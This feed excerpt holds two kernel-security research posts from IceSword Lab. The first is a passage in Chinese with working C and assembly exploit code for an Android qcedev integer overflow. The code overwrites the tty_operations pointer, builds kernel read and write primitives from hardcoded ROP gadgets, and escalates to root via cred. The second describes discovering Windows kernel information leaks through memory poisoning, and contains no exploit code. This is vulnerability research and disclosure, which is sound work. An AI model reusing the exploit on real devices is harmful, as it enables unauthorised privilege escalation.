class="line"><span class="class"><span class="keyword">struct</span> <span class="title">tty_struct</span> {</span></span><br><span class="line"> <span class="keyword">int</span> magic;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">kref</span> <span class="title">kref</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">device</span> *<span class="title">dev</span>;</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">tty_driver</span> *<span class="title">driver</span>;</span></span><br><span class="line"> <span class="keyword">const</span> <span class="class"><span class="keyword">struct</span> <span class="title">tty_operations</span> *<span class="title">ops</span>;</span></span><br><span class="line"> <span class="keyword">int</span> index;</span><br><span class="line">...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在我做利用的设备里,这个结构是从 kmalloc-4096 堆里分配的,其偏移 24Byte 的地方是一个 <strong>struct tty_operations</strong> 的指针,我们溢出后重写这个结构体,用一个用户态地址覆盖这个指针。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TTY_MAGIC 0x5401</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">trigger</span><span class="params">(<span class="keyword">int</span> fd)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SIZE 632 <span class="comment">// SIZE = sizeof(struct tty_struct)</span></span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> ret, cmd, i;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">qcedev_sha_op_req</span> <span class="title">params</span>;</span></span><br><span class="line"> <span class="keyword">int</span> *magic;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> * ttydriver;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> * ttyops;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memset</span>(&params, <span class="number">0</span>, <span class="keyword">sizeof</span>(params));</span><br><span class="line"> params.entries = <span class="number">9</span>;</span><br><span class="line"> params.data_len = SIZE;</span><br><span class="line"> params.authklen = <span class="number">16</span>;</span><br><span class="line"> params.authkey = &trigger_buf[<span class="number">0</span>];</span><br><span class="line"> params.alg = QCEDEV_ALG_AES_CMAC;</span><br><span class="line"></span><br><span class="line"><span class="comment">// when tty_struct coming from kmalloc-4096</span></span><br><span class="line"> magic =(<span class="keyword">int</span> *) &trigger_buf[<span class="number">4096</span>];</span><br><span class="line"> *magic = TTY_MAGIC;</span><br><span class="line"> ttydriver = (<span class="keyword">unsigned</span> <span class="keyword">long</span>*)&trigger_buf[<span class="number">4112</span>];</span><br><span class="line"> *ttydriver = &trigger_buf[<span class="number">0</span>];</span><br><span class="line"> ttyops = (<span class="keyword">unsigned</span> <span class="keyword">long</span>*)&trigger_buf[<span class="number">4120</span>];</span><br><span class="line"> *ttyops = fake_ptm_fops;</span><br><span class="line"> params.data[<span class="number">0</span>].len = <span class="number">4128</span>;</span><br><span class="line"> params.data[<span class="number">0</span>].vaddr = &trigger_buf[<span class="number">0</span>];</span><br><span class="line"> params.data[<span class="number">1</span>].len = <span class="number">536867423</span> ;</span><br><span class="line"> params.data[<span class="number">1</span>].vaddr = <span class="literal">NULL</span>;</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">2</span>; i < params.entries; i++) {</span><br><span class="line"> params.data[i].len = <span class="number">0x1fffffff</span>;</span><br><span class="line"> params.data[i].vaddr = <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> cmd = QCEDEV_IOCTL_SHA_UPDATE_REQ;</span><br><span class="line"> ret = ioctl(fd, cmd, &params);</span><br><span class="line"> <span class="keyword">if</span>(ret<<span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[-] ioctl fail %s\n"</span>,strerror(errno));</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[+] succ trigger\n"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>4128 + 536867423 + 7 * 0x1fffffff = 632</code></p><p>溢出的方法如上,我们让 entry 的数目为 9 个,第一个长度为 4128, 第二个为 536867423, 其他7个为0x1fffffff </p><p>这样他们加起来溢出之后的值就是 632, 这个长度刚好是 <strong>struct tty_struct</strong> 的长度,我们用 <strong>qcedev_sha_op_req.data[0].vaddr[4096]</strong> 这个数据来填充被溢出的 <strong>tty_struct</strong> 的内容</p><p>主要是填充两个地方,一个是最开头的 <strong>tty magic</strong>, 另一个就是偏移 24Bype 的 <strong>tty_operations</strong> 指针,我们将这个指针覆盖为伪指针 <strong>fake_ptm_fops</strong>. </p><p>之后的提权操作与 cve-2016-6738 类似,</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">include/linux/tty_driver.h</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">tty_operations</span> {</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">tty_struct</span> * (*<span class="title">lookup</span>)(<span class="title">struct</span> <span class="title">tty_driver</span> *<span class="title">driver</span>,</span></span><br><span class="line"><span class="class"> <span class="title">struct</span> <span class="title">inode</span> *<span class="title">inode</span>, <span class="title">int</span> <span class="title">idx</span>);</span></span><br><span class="line"> <span class="keyword">int</span> (*install)(struct tty_driver *driver, struct tty_struct *tty);</span><br><span class="line"> <span class="keyword">void</span> (*<span class="built_in">remove</span>)(struct tty_driver *driver, struct tty_struct *tty);</span><br><span class="line"> <span class="keyword">int</span> (*<span class="built_in">open</span>)(struct tty_struct * tty, struct file * filp);</span><br><span class="line"> <span class="keyword">void</span> (*<span class="built_in">close</span>)(struct tty_struct * tty, struct file * filp);</span><br><span class="line"> <span class="keyword">void</span> (*<span class="built_in">shutdown</span>)(struct tty_struct *tty);</span><br><span class="line"> <span class="keyword">void</span> (*cleanup)(struct tty_struct *tty);</span><br><span class="line"> <span class="keyword">int</span> (*<span class="built_in">write</span>)(struct tty_struct * tty,</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">unsigned</span> <span class="keyword">char</span> *buf, <span class="keyword">int</span> count);</span><br><span class="line"> <span class="keyword">int</span> (*put_char)(struct tty_struct *tty, <span class="keyword">unsigned</span> <span class="keyword">char</span> ch);</span><br><span class="line"> <span class="keyword">void</span> (*flush_chars)(struct tty_struct *tty);</span><br><span class="line"> <span class="keyword">int</span> (*write_room)(struct tty_struct *tty);</span><br><span class="line"> <span class="keyword">int</span> (*chars_in_buffer)(struct tty_struct *tty);</span><br><span class="line"> <span class="keyword">int</span> (*ioctl)(struct tty_struct *tty,</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> cmd, <span class="keyword">unsigned</span> <span class="keyword">long</span> arg);</span><br><span class="line"> <span class="keyword">long</span> (*compat_ioctl)(struct tty_struct *tty,</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> cmd, <span class="keyword">unsigned</span> <span class="keyword">long</span> arg);</span><br><span class="line">...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>如上,ioctl 函数在 <strong>tty_operations</strong> 结构体里偏移 12 个指针,当我们用 <strong>ROP_WRITE</strong> 覆盖这个位置时,可以得到一个内核地址写函数。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ioctl_syscall(n, efd, cmd, arg) \</span></span><br><span class="line"> eabi_syscall(n, efd, cmd, arg)</span><br><span class="line">ENTRY(eabi_syscall)</span><br><span class="line"> mov x8, x0</span><br><span class="line"> mov x0, x1</span><br><span class="line"> mov x1, x2</span><br><span class="line"> mov x2, x3</span><br><span class="line"> mov x3, x4</span><br><span class="line"> mov x4, x5</span><br><span class="line"> mov x5, x6</span><br><span class="line"> svc #<span class="number">0x0</span></span><br><span class="line"> ret</span><br><span class="line">END(eabi_syscall)</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment">/* </span></span><br><span class="line"><span class="comment"> * rop write</span></span><br><span class="line"><span class="comment"> * ffffffc000671a58: b9000041 str w1, [x2]</span></span><br><span class="line"><span class="comment"> * ffffffc000671a5c: d65f03c0 ret</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ROP_WRITE 0xffffffc000671a58</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">kernel_write_32</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">long</span> addr, <span class="keyword">unsigned</span> <span class="keyword">int</span> val)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> arg;</span><br><span class="line"></span><br><span class="line"> *(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptm_fops + <span class="number">12</span> * <span class="number">8</span>) = ROP_WRITE;</span><br><span class="line"></span><br><span class="line"> arg = addr;</span><br><span class="line"> ioctl_syscall(__NR_ioctl, fake_fd, val, arg);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>同理,当我们用 <strong>ROP_READ</strong> 覆盖这个位置时,可以得到一个内核地址写函数。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * rop read</span></span><br><span class="line"><span class="comment"> * ffffffc000300060: f9405440 ldr x0, [x2,#168]</span></span><br><span class="line"><span class="comment"> * ffffffc000300064: d65f03c0 ret</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> ROP_READ 0xffffffc000300060</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">kernel_read_32</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">long</span> addr, <span class="keyword">unsigned</span> <span class="keyword">int</span> *val)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> ret;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> arg;</span><br><span class="line"></span><br><span class="line"> *(<span class="keyword">unsigned</span> <span class="keyword">long</span>*)(fake_ptm_fops + <span class="number">12</span> * <span class="number">8</span>) = ROP_READ;</span><br><span class="line"> arg = addr - <span class="number">168</span>;</span><br><span class="line"> errno = <span class="number">0</span>;</span><br><span class="line"> ret = ioctl_syscall(__NR_ioctl, fake_fd, <span class="number">0xdeadbeef</span>, arg);</span><br><span class="line"> *val = ret;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最后,用封装好的内核读写函数,修改内核的 cred 等结构体完成提权。</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考 [^]"></a>参考 <a href="#top">[^]</a></h2><p><span id="refer"></span><br><a href="https://github.com/android-rooting-tools/android_run_root_shell" target="_blank" rel="noopener">android_run_root_shell</a></p><p><a href="https://github.com/xairy/linux-kernel-exploitation" target="_blank" rel="noopener">xairy</a></p><p><a href="http://powerofcommunity.net/poc2016/x82.pdf" target="_blank" rel="noopener">New Reliable Android Kernel Root Exploitation Techniques</a></p>]]></content>
<summary type="html">
<p>author : <a href="https://twitter.comengjia4574" target="_blank">jiayy(@chengjia4574)</a> from IceSword Lab , Qihoo 360</p>
<hr>
<p><sp
</summary>
</entry>
<entry>
<title>Automatically Discovering Windows Kernel Information Leak Vulnerabilities</title>
<link href="http://yoursite.com/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/"/>
<id>http://yoursite.com/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/</id>
<published>2017-06-14T07:53:40.000Z</published>
<updated>2025-07-16T10:02:19.244Z</updated>
<content type="html"><![CDATA[<p>author : <a href="https://twitter.com/TinySecEx" target="_blank">fanxiaocao(@TinySecEx)</a> and <a href="http://weibo.com/jfpan" target="_blank">@pjf_</a> of IceSword Lab , Qihoo 360</p><hr><h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><p>This Patch-Tuesday MS fixed 6 kernel information leak vulnerabilities reported by us, the details are at the end of this article.<br>I had already show how to fuzz the windows kernel via JS , today we will introduce a new method to discover windows kernel vulnerabilities automatically without fuzzing.<br>I selected a small part from the work in the past few months to spread out this topic.</p><h2 id="KASLR"><a href="#KASLR" class="headerlink" title="KASLR"></a>KASLR</h2><p>In Windows Vista and above, Microsoft enable Kernel Address Space Layout Randomization (KASLR) by default to prevent exploitation by placing various objects at random addresses, rather than fixed ones. It is an effective method against exploitation using Return-oriented Programming (ROP) attack. </p><p>Beginning with Windows 8, KASLR is enhanced with a newly introduced function ExIsRestrictedCaller.<br> Programs under medium integrity are not able to invoke functions such as NtQuerySystemInformation to obtain addresses of kernel modules, kernel objects or pools. </p><p>The functions include but not limited to:</p><h3 id="NtQuerySystemInformation"><a href="#NtQuerySystemInformation" class="headerlink" title="NtQuerySystemInformation"></a>NtQuerySystemInformation</h3><pre><code>* SystemModuleInformation * SystemModuleInformationEx * SystemLocksInformation * SystemStackTraceInformation * SystemHandleInformation * SystemExtendedHandleInformation * SystemObjectInformation * SystemBigPoolInformation * SystemSessionBigPoolInformation * SystemProcessInformation* SystemFullProcessInformation</code></pre><h3 id="NtQueryInfomationThread"><a href="#NtQueryInfomationThread" class="headerlink" title="NtQueryInfomationThread"></a>NtQueryInfomationThread</h3><h3 id="NtQueryInfomationProcess"><a href="#NtQueryInfomationProcess" class="headerlink" title="NtQueryInfomationProcess"></a>NtQueryInfomationProcess</h3><p>The above is the traditional way to get the kernel module address and kernel object address, as the kernel normal feature.<br>But after win8, low integrity application will fail in calling these functions. </p><p>In order to bypass KASLR, a direct countermeasure is to discover vulnerabilities that leak valuable information from the kernel mode to calculate the address of kernel module or kernel object. </p><h2 id="Kernel-Information-Leak"><a href="#Kernel-Information-Leak" class="headerlink" title="Kernel Information Leak"></a>Kernel Information Leak</h2><p>As a kind of kernel vulnerability, it has its own uniqueness. For example, for the traditional memory damage vulnerabilities, the vulnerability itself will affect the running of the kernel. With the help of verifier and other tools, you can easily capture this exception among the normal traffic.<br>But the kernel information leak vulnerability does not trigger any exception, nor does it affect the running of the kernel, which makes it more difficult to be discovered.<br>Vulnerabilities objectively exist, what we need to do is to find them at lowest cost. </p><h2 id="Discover-ideas"><a href="#Discover-ideas" class="headerlink" title="Discover ideas"></a>Discover ideas</h2><p>When kernel information leak vulnerability occurs, the kernel will certainly write some valuable data to the user buffer.<br>So if we monitor all the writing behaviors to user buffer in the kernel, we will be able to find them. </p><p>Of course, the system does not provide this feature.<br>I capture the process with the help of a hardware virtualization based framework of pjf,<br>who is the author of the famous windows kernel anti-rootkit tool named iceSword. </p><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/DigTool.png" alt> </p><p>In order not to affect the dest system itself, I monitored in the VMWARE guest and write some log files, and then further analyze them in the host system. </p><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/loader.png" alt> </p><p>In the host machine, after decoding and analyzing the logs: </p><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/analyze.png" alt> </p><p>Then we have the human-readable logs: </p><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/log.png" alt> </p><h2 id="Further-Analysis"><a href="#Further-Analysis" class="headerlink" title="Further Analysis"></a>Further Analysis</h2><p>Now we have operation records in user memory buffer written by kernel.<br>Most of them are just normal functions. </p><p>We need remove nosiy data to find out the key information.<br>Two skills are needed. </p><h3 id="Poison-the-kernel-stack"><a href="#Poison-the-kernel-stack" class="headerlink" title="Poison the kernel stack"></a>Poison the kernel stack</h3><p>Poisoning or polluting the target is a common idea.<br>At network penetration testing, there are also ARP and DNS cache poisoning. </p><p>Here is the kernel stack poisoning, refers to the pollution to the entire unused kernel stack space. </p><p>If a variable on a kernel stack is not initialized, then when this variable is written to the user buffer, there will be a magic value in the record written by me. Wherever these is a magic value, there is a leak. </p><p>I noticed that j00ru also used similar techniques in his BochsPwn project. </p><h4 id="KiFastCallEntry-Hook"><a href="#KiFastCallEntry-Hook" class="headerlink" title="KiFastCallEntry Hook"></a>KiFastCallEntry Hook</h4><p>In order to poison the kernel stack, I hooked nt!KiFastCallEntry.<br>So that when a syscall invoked, I can poisoning the entire unused kernel stack space. </p><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/KiFastCallEntryHook.png" alt> </p><p>Firstly, I used ** IoGetStackLimits ** to get the current thread stack range, and then from the bottom of the stack to the current stack location of the entire space are filled with 0xAA. </p><p>So when I entered the syscall, all the contents of the local variables on the kernel stack will be filled into 0xAA. </p><h3 id="Poison-the-kernel-pool"><a href="#Poison-the-kernel-pool" class="headerlink" title="Poison the kernel pool"></a>Poison the kernel pool</h3><p>Similarly, for dynamically allocated memory, I used hook <strong>nt!ExAllocatePoolWithTag</strong> and so on, and polluted its POOL content.</p><p>If the kernel stack/heap variable is not properly initialized, it is possible to write this magic value to the user buffer. </p><p>With the help of the logs we captured, we can immediately find this vulnerability.<br>In order to remove the coincidence, I also used a number of magic value such as <strong>0xAAAAAAAA</strong> , <strong>0xBBBBBBB</strong> to exclude false positives. </p><p>A typical result after excluding the interference is as follows. </p><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/magic.png" alt> </p><p>You can see that in a short monitoring process, it caught the ** 161 ** leaks in the system!<br>Of course, this is not exhaustive. There are not so many independent vulnerabilities, but some vulnerabilities made repeated leaks. </p><p>At this point we caught a real information leak vulnerability, there is stack information, supplemented by a simple manual analysis, we can got the details.<br>This is also the story behind the <strong>CVE-2017-8482</strong>. </p><h3 id="Difference-comparison"><a href="#Difference-comparison" class="headerlink" title="Difference comparison"></a>Difference comparison</h3><p>For the kernel information leak caused by the uninitialized stack, we can poison them at first and then find them.<br>But for the direct disclosure of key information, such as the module and the object address written directly, it cannot be found in this way. </p><p>In the process of the system running, the kernel itself will frequently write data to the user buffer, a lot of data is in the kernel address range, but in fact it is not a valid address, but a noise data.<br>There are many such noise data, such as strings, pixels, rect, region, etc. which are likely happen to be a kernel address. We need to rule out the noise and found a real leak. </p><p>Here we filter out some meaningful addresses, such as: </p><ol><li>Module address, must be inside in the system module list </li><li>object address </li><li>POOL address </li></ol><p>After the environment changes, such as restarting the system, it must be able to leak the same type of data at the same location. </p><p>After the exclusion of the normal function of the system, such as <strong>NtQuerySystemInformation</strong> and similar functions, the left data’s credibility is very high. </p><h3 id="The-leak-of-module-address"><a href="#The-leak-of-module-address" class="headerlink" title="The leak of module address"></a>The leak of module address</h3><p>For example <strong>CVE-2017-8485</strong> </p><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/diff.png" alt> </p><p>You can see that the results at this time is very obvious - the same stack, the same location, are leaked <strong>nt! ObpReferenceObjectByHandleWithTag + 0x19f</strong> </p><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/vul1_detail.png" alt> </p><h3 id="The-leak-of-object-address"><a href="#The-leak-of-object-address" class="headerlink" title="The leak of object address"></a>The leak of object address</h3><p>Due to leakage of object address and POOL address not fixed by Microsoft this month, I cannot describe the details. </p><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/object.png" alt> </p><h2 id="More"><a href="#More" class="headerlink" title="More"></a>More</h2><p>You can see that we do not need a fuzzer, only through the code coverage generated by normal running of the system itself, we found these vulnerabilities.<br>Any normal program running can improve this coverage.<br>In fact, in the actual work, I only use the game and the browser to improve coverage and got good results.<br>A game finished, ten kernel vulnerabilities on the hand.</p><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/game.jpg" alt> </p><h2 id="The-case-of-this-month"><a href="#The-case-of-this-month" class="headerlink" title="The case of this month"></a>The case of this month</h2><h3 id="CVE-2017-8470"><a href="#CVE-2017-8470" class="headerlink" title="CVE-2017-8470"></a>CVE-2017-8470</h3><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/CVE-2017-8470.png" alt> </p><h3 id="CVE-2017-8474"><a href="#CVE-2017-8474" class="headerlink" title="CVE-2017-8474"></a>CVE-2017-8474</h3><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/CVE-2017-8474.png" alt> </p><h3 id="CVE-2017-8476"><a href="#CVE-2017-8476" class="headerlink" title="CVE-2017-8476"></a>CVE-2017-8476</h3><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/CVE-2017-8476.png" alt> </p><h3 id="CVE-2017-8482"><a href="#CVE-2017-8482" class="headerlink" title="CVE-2017-8482"></a>CVE-2017-8482</h3><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/CVE-2017-8482.png" alt> </p><h3 id="CVE-2017-8485"><a href="#CVE-2017-8485" class="headerlink" title="CVE-2017-8485"></a>CVE-2017-8485</h3><p><img src="/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/CVE-2017-8485.png" alt> </p>]]></content>
<summary type="html">
<p>author : <a href="https://twitter.com/TinySecEx" target="_blank">fanxiaocao(@TinySecEx)</a> and <a href="http://weibo.com/jfpan" target=
</summary>
</entry>
</feed>